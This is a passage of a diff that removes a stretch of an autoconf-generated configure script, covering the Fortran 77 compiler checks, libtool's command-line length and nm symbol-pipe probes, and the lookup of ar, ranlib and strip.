- # Extract the first word of "$ac_prog", so it can be a program name with args.
-set dummy $ac_prog; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_F77+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_F77"; then
- ac_cv_prog_ac_ct_F77="$ac_ct_F77" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_F77="$ac_prog"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_F77=$ac_cv_prog_ac_ct_F77
-if test -n "$ac_ct_F77"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_F77" >&5
-$as_echo "$ac_ct_F77" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
- test -n "$ac_ct_F77" && break
-done
-
- if test "x$ac_ct_F77" = x; then
- F77=""
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- F77=$ac_ct_F77
- fi
-fi
-
-
-# Provide some information about the compiler.
-$as_echo "$as_me:${as_lineno-$LINENO}: checking for Fortran 77 compiler version" >&5
-set X $ac_compile
-ac_compiler=$2
-for ac_option in --version -v -V -qversion; do
- { { ac_try="$ac_compiler $ac_option >&5"
-case "(($ac_try" in
- *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;;
- *) ac_try_echo=$ac_try;;
-esac
-eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\""
-$as_echo "$ac_try_echo"; } >&5
- (eval "$ac_compiler $ac_option >&5") 2>conftest.err
- ac_status=$?
- if test -s conftest.err; then
- sed '10a\
-... rest of stderr output deleted ...
- 10q' conftest.err >conftest.er1
- cat conftest.er1 >&5
- fi
- rm -f conftest.er1 conftest.err
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }
-done
-rm -f a.out
-
-# If we don't use `.F' as extension, the preprocessor is not run on the
-# input file. (Note that this only needs to work for GNU compilers.)
-ac_save_ext=$ac_ext
-ac_ext=F
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are using the GNU Fortran 77 compiler" >&5
-$as_echo_n "checking whether we are using the GNU Fortran 77 compiler... " >&6; }
-if ${ac_cv_f77_compiler_gnu+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- cat > conftest.$ac_ext <<_ACEOF
- program main
-#ifndef __GNUC__
- choke me
-#endif
-
- end
-_ACEOF
-if ac_fn_f77_try_compile "$LINENO"; then :
- ac_compiler_gnu=yes
-else
- ac_compiler_gnu=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-ac_cv_f77_compiler_gnu=$ac_compiler_gnu
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_f77_compiler_gnu" >&5
-$as_echo "$ac_cv_f77_compiler_gnu" >&6; }
-ac_ext=$ac_save_ext
-ac_test_FFLAGS=${FFLAGS+set}
-ac_save_FFLAGS=$FFLAGS
-FFLAGS=
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether $F77 accepts -g" >&5
-$as_echo_n "checking whether $F77 accepts -g... " >&6; }
-if ${ac_cv_prog_f77_g+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- FFLAGS=-g
-cat > conftest.$ac_ext <<_ACEOF
- program main
-
- end
-_ACEOF
-if ac_fn_f77_try_compile "$LINENO"; then :
- ac_cv_prog_f77_g=yes
-else
- ac_cv_prog_f77_g=no
-fi
-rm -f core conftest.err conftest.$ac_objext conftest.$ac_ext
-
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_prog_f77_g" >&5
-$as_echo "$ac_cv_prog_f77_g" >&6; }
-if test "$ac_test_FFLAGS" = set; then
- FFLAGS=$ac_save_FFLAGS
-elif test $ac_cv_prog_f77_g = yes; then
- if test "x$ac_cv_f77_compiler_gnu" = xyes; then
- FFLAGS="-g -O2"
- else
- FFLAGS="-g"
- fi
-else
- if test "x$ac_cv_f77_compiler_gnu" = xyes; then
- FFLAGS="-O2"
- else
- FFLAGS=
- fi
-fi
-
-if test $ac_compiler_gnu = yes; then
- G77=yes
-else
- G77=
-fi
-ac_ext=c
-ac_cpp='$CPP $CPPFLAGS'
-ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5'
-ac_link='$CC -o conftest$ac_exeext $CFLAGS $CPPFLAGS $LDFLAGS conftest.$ac_ext $LIBS >&5'
-ac_compiler_gnu=$ac_cv_c_compiler_gnu
-
-
-
-# Autoconf 2.13's AC_OBJEXT and AC_EXEEXT macros only works for C compilers!
-
-# find the maximum length of command line arguments
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking the maximum length of command line arguments" >&5
-$as_echo_n "checking the maximum length of command line arguments... " >&6; }
-if ${lt_cv_sys_max_cmd_len+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- i=0
- teststring="ABCD"
-
- case $build_os in
- msdosdjgpp*)
- # On DJGPP, this test can blow up pretty badly due to problems in libc
- # (any single argument exceeding 2000 bytes causes a buffer overrun
- # during glob expansion). Even if it were fixed, the result of this
- # check would be larger than it should be.
- lt_cv_sys_max_cmd_len=12288; # 12K is about right
- ;;
-
- gnu*)
- # Under GNU Hurd, this test is not required because there is
- # no limit to the length of command line arguments.
- # Libtool will interpret -1 as no limit whatsoever
- lt_cv_sys_max_cmd_len=-1;
- ;;
-
- cygwin* | mingw*)
- # On Win9x/ME, this test blows up -- it succeeds, but takes
- # about 5 minutes as the teststring grows exponentially.
- # Worse, since 9x/ME are not pre-emptively multitasking,
- # you end up with a "frozen" computer, even though with patience
- # the test eventually succeeds (with a max line length of 256k).
- # Instead, let's just punt: use the minimum linelength reported by
- # all of the supported platforms: 8192 (on NT/2K/XP).
- lt_cv_sys_max_cmd_len=8192;
- ;;
-
- amigaos*)
- # On AmigaOS with pdksh, this test takes hours, literally.
- # So we just punt and use a minimum line length of 8192.
- lt_cv_sys_max_cmd_len=8192;
- ;;
-
- netbsd* | freebsd* | openbsd* | darwin* | dragonfly*)
- # This has been around since 386BSD, at least. Likely further.
- if test -x /sbin/sysctl; then
- lt_cv_sys_max_cmd_len=`/sbin/sysctl -n kern.argmax`
- elif test -x /usr/sbin/sysctl; then
- lt_cv_sys_max_cmd_len=`/usr/sbin/sysctl -n kern.argmax`
- else
- lt_cv_sys_max_cmd_len=65536 # usable default for all BSDs
- fi
- # And add a safety zone
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 4`
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \* 3`
- ;;
-
- interix*)
- # We know the value 262144 and hardcode it with a safety zone (like BSD)
- lt_cv_sys_max_cmd_len=196608
- ;;
-
- osf*)
- # Dr. Hans Ekkehard Plesser reports seeing a kernel panic running configure
- # due to this test when exec_disable_arg_limit is 1 on Tru64. It is not
- # nice to cause kernel panics so lets avoid the loop below.
- # First set a reasonable default.
- lt_cv_sys_max_cmd_len=16384
- #
- if test -x /sbin/sysconfig; then
- case `/sbin/sysconfig -q proc exec_disable_arg_limit` in
- *1*) lt_cv_sys_max_cmd_len=-1 ;;
- esac
- fi
- ;;
- sco3.2v5*)
- lt_cv_sys_max_cmd_len=102400
- ;;
- sysv5* | sco5v6* | sysv4.2uw2*)
- kargmax=`grep ARG_MAX /etc/conf/cf.d/stune 2>/dev/null`
- if test -n "$kargmax"; then
- lt_cv_sys_max_cmd_len=`echo $kargmax | sed 's/.*[ ]//'`
- else
- lt_cv_sys_max_cmd_len=32768
- fi
- ;;
- *)
- # If test is not a shell built-in, we'll probably end up computing a
- # maximum length that is only half of the actual maximum length, but
- # we can't tell.
- SHELL=${SHELL-${CONFIG_SHELL-/bin/sh}}
- while (test "X"`$SHELL $0 --fallback-echo "X$teststring" 2>/dev/null` \
- = "XX$teststring") >/dev/null 2>&1 &&
- new_result=`expr "X$teststring" : ".*" 2>&1` &&
- lt_cv_sys_max_cmd_len=$new_result &&
- test $i != 17 # 1/2 MB should be enough
- do
- i=`expr $i + 1`
- teststring=$teststring$teststring
- done
- teststring=
- # Add a significant safety factor because C++ compilers can tack on massive
- # amounts of additional arguments before passing them to the linker.
- # It appears as though 1/2 is a usable value.
- lt_cv_sys_max_cmd_len=`expr $lt_cv_sys_max_cmd_len \/ 2`
- ;;
- esac
-
-fi
-
-if test -n $lt_cv_sys_max_cmd_len ; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_sys_max_cmd_len" >&5
-$as_echo "$lt_cv_sys_max_cmd_len" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: none" >&5
-$as_echo "none" >&6; }
-fi
-
-
-
-
-# Check for command to grab the raw symbol name followed by C symbol from nm.
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking command to parse $NM output from $compiler object" >&5
-$as_echo_n "checking command to parse $NM output from $compiler object... " >&6; }
-if ${lt_cv_sys_global_symbol_pipe+:} false; then :
- $as_echo_n "(cached) " >&6
-else
-
-# These are sane defaults that work on at least a few old systems.
-# [They come from Ultrix. What could be older than Ultrix?!! ;)]
-
-# Character class describing NM global symbol codes.
-symcode='[BCDEGRST]'
-
-# Regexp to match symbols that can be accessed directly from C.
-sympat='\([_A-Za-z][_A-Za-z0-9]*\)'
-
-# Transform an extracted symbol line into a proper C declaration
-lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^. .* \(.*\)$/extern int \1;/p'"
-
-# Transform an extracted symbol line into symbol name and symbol address
-lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode \([^ ]*\) \([^ ]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
-
-# Define system-specific variables.
-case $host_os in
-aix*)
- symcode='[BCDT]'
- ;;
-cygwin* | mingw* | pw32*)
- symcode='[ABCDGISTW]'
- ;;
-hpux*) # Its linker distinguishes data from code symbols
- if test "$host_cpu" = ia64; then
- symcode='[ABCDEGRST]'
- fi
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
- lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
- ;;
-linux*)
- if test "$host_cpu" = ia64; then
- symcode='[ABCDGIRSTW]'
- lt_cv_sys_global_symbol_to_cdecl="sed -n -e 's/^T .* \(.*\)$/extern int \1();/p' -e 's/^$symcode* .* \(.*\)$/extern char \1;/p'"
- lt_cv_sys_global_symbol_to_c_name_address="sed -n -e 's/^: \([^ ]*\) $/ {\\\"\1\\\", (lt_ptr) 0},/p' -e 's/^$symcode* \([^ ]*\) \([^ ]*\)$/ {\"\2\", (lt_ptr) \&\2},/p'"
- fi
- ;;
-irix* | nonstopux*)
- symcode='[BCDEGRST]'
- ;;
-osf*)
- symcode='[BCDEGQRST]'
- ;;
-solaris*)
- symcode='[BDRT]'
- ;;
-sco3.2v5*)
- symcode='[DT]'
- ;;
-sysv4.2uw2*)
- symcode='[DT]'
- ;;
-sysv5* | sco5v6* | unixware* | OpenUNIX*)
- symcode='[ABDT]'
- ;;
-sysv4)
- symcode='[DFNSTU]'
- ;;
-esac
-
-# Handle CRLF in mingw tool chain
-opt_cr=
-case $build_os in
-mingw*)
- opt_cr=`echo 'x\{0,1\}' | tr x '\015'` # option cr in regexp
- ;;
-esac
-
-# If we're using GNU nm, then use its standard symbol codes.
-case `$NM -V 2>&1` in
-*GNU* | *'with BFD'*)
- symcode='[ABCDGIRSTW]' ;;
-esac
-
-# Try without a prefix undercore, then with it.
-for ac_symprfx in "" "_"; do
-
- # Transform symcode, sympat, and symprfx into a raw symbol and a C symbol.
- symxfrm="\\1 $ac_symprfx\\2 \\2"
-
- # Write the raw and C identifiers.
- lt_cv_sys_global_symbol_pipe="sed -n -e 's/^.*[ ]\($symcode$symcode*\)[ ][ ]*$ac_symprfx$sympat$opt_cr$/$symxfrm/p'"
-
- # Check to see that the pipe works correctly.
- pipe_works=no
-
- rm -f conftest*
- cat > conftest.$ac_ext <<EOF
-#ifdef __cplusplus
-extern "C" {
-#endif
-char nm_test_var;
-void nm_test_func(){}
-#ifdef __cplusplus
-}
-#endif
-int main(){nm_test_var='a';nm_test_func();return(0);}
-EOF
-
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_compile\""; } >&5
- (eval $ac_compile) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; }; then
- # Now try to grab the symbols.
- nlist=conftest.nm
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist\""; } >&5
- (eval $NM conftest.$ac_objext \| $lt_cv_sys_global_symbol_pipe \> $nlist) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && test -s "$nlist"; then
- # Try sorting and uniquifying the output.
- if sort "$nlist" | uniq > "$nlist"T; then
- mv -f "$nlist"T "$nlist"
- else
- rm -f "$nlist"T
- fi
-
- # Make sure that we snagged all the symbols we need.
- if grep ' nm_test_var$' "$nlist" >/dev/null; then
- if grep ' nm_test_func$' "$nlist" >/dev/null; then
- cat <<EOF > conftest.$ac_ext
-#ifdef __cplusplus
-extern "C" {
-#endif
-
-EOF
- # Now generate the symbol file.
- eval "$lt_cv_sys_global_symbol_to_cdecl"' < "$nlist" | grep -v main >> conftest.$ac_ext'
-
- cat <<EOF >> conftest.$ac_ext
-#if defined (__STDC__) && __STDC__
-# define lt_ptr_t void *
-#else
-# define lt_ptr_t char *
-# define const
-#endif
-
-/* The mapping between symbol names and symbols. */
-const struct {
- const char *name;
- lt_ptr_t address;
-}
-lt_preloaded_symbols[] =
-{
-EOF
- $SED "s/^$symcode$symcode* \(.*\) \(.*\)$/ {\"\2\", (lt_ptr_t) \&\2},/" < "$nlist" | grep -v main >> conftest.$ac_ext
- cat <<\EOF >> conftest.$ac_ext
- {0, (lt_ptr_t) 0}
-};
-
-#ifdef __cplusplus
-}
-#endif
-EOF
- # Now try linking the two files.
- mv conftest.$ac_objext conftstm.$ac_objext
- lt_save_LIBS="$LIBS"
- lt_save_CFLAGS="$CFLAGS"
- LIBS="conftstm.$ac_objext"
- CFLAGS="$CFLAGS$lt_prog_compiler_no_builtin_flag"
- if { { eval echo "\"\$as_me\":${as_lineno-$LINENO}: \"$ac_link\""; } >&5
- (eval $ac_link) 2>&5
- ac_status=$?
- $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5
- test $ac_status = 0; } && test -s conftest${ac_exeext}; then
- pipe_works=yes
- fi
- LIBS="$lt_save_LIBS"
- CFLAGS="$lt_save_CFLAGS"
- else
- echo "cannot find nm_test_func in $nlist" >&5
- fi
- else
- echo "cannot find nm_test_var in $nlist" >&5
- fi
- else
- echo "cannot run $lt_cv_sys_global_symbol_pipe" >&5
- fi
- else
- echo "$progname: failed program was:" >&5
- cat conftest.$ac_ext >&5
- fi
- rm -f conftest* conftst*
-
- # Do not use the global_symbol_pipe unless it works.
- if test "$pipe_works" = yes; then
- break
- else
- lt_cv_sys_global_symbol_pipe=
- fi
-done
-
-fi
-
-if test -z "$lt_cv_sys_global_symbol_pipe"; then
- lt_cv_sys_global_symbol_to_cdecl=
-fi
-if test -z "$lt_cv_sys_global_symbol_pipe$lt_cv_sys_global_symbol_to_cdecl"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: failed" >&5
-$as_echo "failed" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: ok" >&5
-$as_echo "ok" >&6; }
-fi
-
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for objdir" >&5
-$as_echo_n "checking for objdir... " >&6; }
-if ${lt_cv_objdir+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- rm -f .libs 2>/dev/null
-mkdir .libs 2>/dev/null
-if test -d .libs; then
- lt_cv_objdir=.libs
-else
- # MS-DOS does not allow filenames that begin with a dot.
- lt_cv_objdir=_libs
-fi
-rmdir .libs 2>/dev/null
-fi
-{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $lt_cv_objdir" >&5
-$as_echo "$lt_cv_objdir" >&6; }
-objdir=$lt_cv_objdir
-
-
-
-
-
-case $host_os in
-aix3*)
- # AIX sometimes has problems with the GCC collect2 program. For some
- # reason, if we set the COLLECT_NAMES environment variable, the problems
- # vanish in a puff of smoke.
- if test "X${COLLECT_NAMES+set}" != Xset; then
- COLLECT_NAMES=
- export COLLECT_NAMES
- fi
- ;;
-esac
-
-# Sed substitution that helps us do robust quoting. It backslashifies
-# metacharacters that are still active within double-quoted strings.
-Xsed='sed -e 1s/^X//'
-sed_quote_subst='s/\([\\"\\`$\\\\]\)/\\\1/g'
-
-# Same as above, but do not quote variable references.
-double_quote_subst='s/\([\\"\\`\\\\]\)/\\\1/g'
-
-# Sed substitution to delay expansion of an escaped shell variable in a
-# double_quote_subst'ed string.
-delay_variable_subst='s/\\\\\\\\\\\$/\\\\\\$/g'
-
-# Sed substitution to avoid accidental globbing in evaled expressions
-no_glob_subst='s/\*/\\\*/g'
-
-# Constants:
-rm="rm -f"
-
-# Global variables:
-default_ofile=libtool
-can_build_shared=yes
-
-# All known linkers require a `.a' archive for static linking (except MSVC,
-# which needs '.lib').
-libext=a
-ltmain="$ac_aux_dir/ltmain.sh"
-ofile="$default_ofile"
-with_gnu_ld="$lt_cv_prog_gnu_ld"
-
-if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}ar", so it can be a program name with args.
-set dummy ${ac_tool_prefix}ar; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_AR+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$AR"; then
- ac_cv_prog_AR="$AR" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_AR="${ac_tool_prefix}ar"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-AR=$ac_cv_prog_AR
-if test -n "$AR"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $AR" >&5
-$as_echo "$AR" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_AR"; then
- ac_ct_AR=$AR
- # Extract the first word of "ar", so it can be a program name with args.
-set dummy ar; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_AR+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_AR"; then
- ac_cv_prog_ac_ct_AR="$ac_ct_AR" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_AR="ar"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_AR=$ac_cv_prog_ac_ct_AR
-if test -n "$ac_ct_AR"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_AR" >&5
-$as_echo "$ac_ct_AR" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_AR" = x; then
- AR="false"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- AR=$ac_ct_AR
- fi
-else
- AR="$ac_cv_prog_AR"
-fi
-
-if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}ranlib", so it can be a program name with args.
-set dummy ${ac_tool_prefix}ranlib; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_RANLIB+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$RANLIB"; then
- ac_cv_prog_RANLIB="$RANLIB" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_RANLIB="${ac_tool_prefix}ranlib"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-RANLIB=$ac_cv_prog_RANLIB
-if test -n "$RANLIB"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $RANLIB" >&5
-$as_echo "$RANLIB" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_RANLIB"; then
- ac_ct_RANLIB=$RANLIB
- # Extract the first word of "ranlib", so it can be a program name with args.
-set dummy ranlib; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_RANLIB+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_RANLIB"; then
- ac_cv_prog_ac_ct_RANLIB="$ac_ct_RANLIB" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_RANLIB="ranlib"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_RANLIB=$ac_cv_prog_ac_ct_RANLIB
-if test -n "$ac_ct_RANLIB"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_RANLIB" >&5
-$as_echo "$ac_ct_RANLIB" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_RANLIB" = x; then
- RANLIB=":"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- RANLIB=$ac_ct_RANLIB
- fi
-else
- RANLIB="$ac_cv_prog_RANLIB"
-fi
-
-if test -n "$ac_tool_prefix"; then
- # Extract the first word of "${ac_tool_prefix}strip", so it can be a program name with args.
-set dummy ${ac_tool_prefix}strip; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_STRIP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$STRIP"; then
- ac_cv_prog_STRIP="$STRIP" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_STRIP="${ac_tool_prefix}strip"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-STRIP=$ac_cv_prog_STRIP
-if test -n "$STRIP"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $STRIP" >&5
-$as_echo "$STRIP" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
-
-fi
-if test -z "$ac_cv_prog_STRIP"; then
- ac_ct_STRIP=$STRIP
- # Extract the first word of "strip", so it can be a program name with args.
-set dummy strip; ac_word=$2
-{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for $ac_word" >&5
-$as_echo_n "checking for $ac_word... " >&6; }
-if ${ac_cv_prog_ac_ct_STRIP+:} false; then :
- $as_echo_n "(cached) " >&6
-else
- if test -n "$ac_ct_STRIP"; then
- ac_cv_prog_ac_ct_STRIP="$ac_ct_STRIP" # Let the user override the test.
-else
-as_save_IFS=$IFS; IFS=$PATH_SEPARATOR
-for as_dir in $PATH
-do
- IFS=$as_save_IFS
- test -z "$as_dir" && as_dir=.
- for ac_exec_ext in '' $ac_executable_extensions; do
- if as_fn_executable_p "$as_dir/$ac_word$ac_exec_ext"; then
- ac_cv_prog_ac_ct_STRIP="strip"
- $as_echo "$as_me:${as_lineno-$LINENO}: found $as_dir/$ac_word$ac_exec_ext" >&5
- break 2
- fi
-done
- done
-IFS=$as_save_IFS
-
-fi
-fi
-ac_ct_STRIP=$ac_cv_prog_ac_ct_STRIP
-if test -n "$ac_ct_STRIP"; then
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_ct_STRIP" >&5
-$as_echo "$ac_ct_STRIP" >&6; }
-else
- { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5
-$as_echo "no" >&6; }
-fi
-
- if test "x$ac_ct_STRIP" = x; then
- STRIP=":"
- else
- case $cross_compiling:$ac_tool_warned in
-yes:)
-{ $as_echo "$as_me:${as_lineno-$LINENO}: WARNING: using cross tools not prefixed with host triplet" >&5
-$as_echo "$as_me: WARNING: using cross tools not prefixed with host triplet" >&2;}
-ac_tool_warned=yes ;;
-esac
- STRIP=$ac_ct_STRIP
- fi
-else
- STRIP="$ac_cv_prog_STRIP"
-fi
-
-
-old_CC="$CC"
-old_CFLAGS="$CFLAGS"
-
-# Set sane defaults for various variables
-test -z "$AR" && AR=ar
-test -z "$AR_FLAGS" && AR_FLAGS=cru
-test -z "$AS" && AS=as
-test -z "$CC" && CC=cc
-test -z "$LTCC" && LTCC=$CC
-test -z "$LTCFLAGS" && LTCFLAGS=$CFLAGS
-test -z "$DLLTOOL" && DLLTOOL=dlltool
-test -z "$LD" && LD=ld
-test -z "$LN_S" && LN_S="ln -s"
-test -z "$MAGIC_CMD" && MAGIC_CMD=file
-test -z "$NM" && NM=nm
-test -z "$SED" && SED=sed
-test -z "$OBJDUMP" && OBJDUMP=objdump
-test -z "$RANLIB" && RANLIB=:
-test -z "$STRIP" && STRIP=:
-test -z "$ac_objext" && ac_objext=o
-
-# Determine commands to create old-style static archives.
-old_archive_cmds='$AR $AR_FLAGS $oldlib$oldobjs$old_deplibs'
-old_postinstall_cmds='chmod 644 $oldlib'
-old_postuninstall_cmds=
-
-if test -n "$RANLIB"; then
- case $host_os in
- openbsd*)
- old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB -t \$oldlib"
- ;;
- *)
- old_postinstall_cmds="$old_postinstall_cmds~\$RANLIB \$oldlib"
- ;;
- esac
- old_archive_cmds="$old_archive_cmds~\$RANLIB \$oldlib"
-fi
-
-for cc_temp in $compiler""; do
- case $cc_temp in
- compile | *[\\/]compile | ccache | *[\\/]ccache ) ;;
- distcc | *[\\/]distcc | purify | *[\\/]purify ) ;;
- \-*) ;;
- *) break;;
- esac
-done
-cc_basename=`$echo "X$cc_temp" | $Xsed -e 's%.*/%%' -e "s%^$host_alias-%%"`
-
-
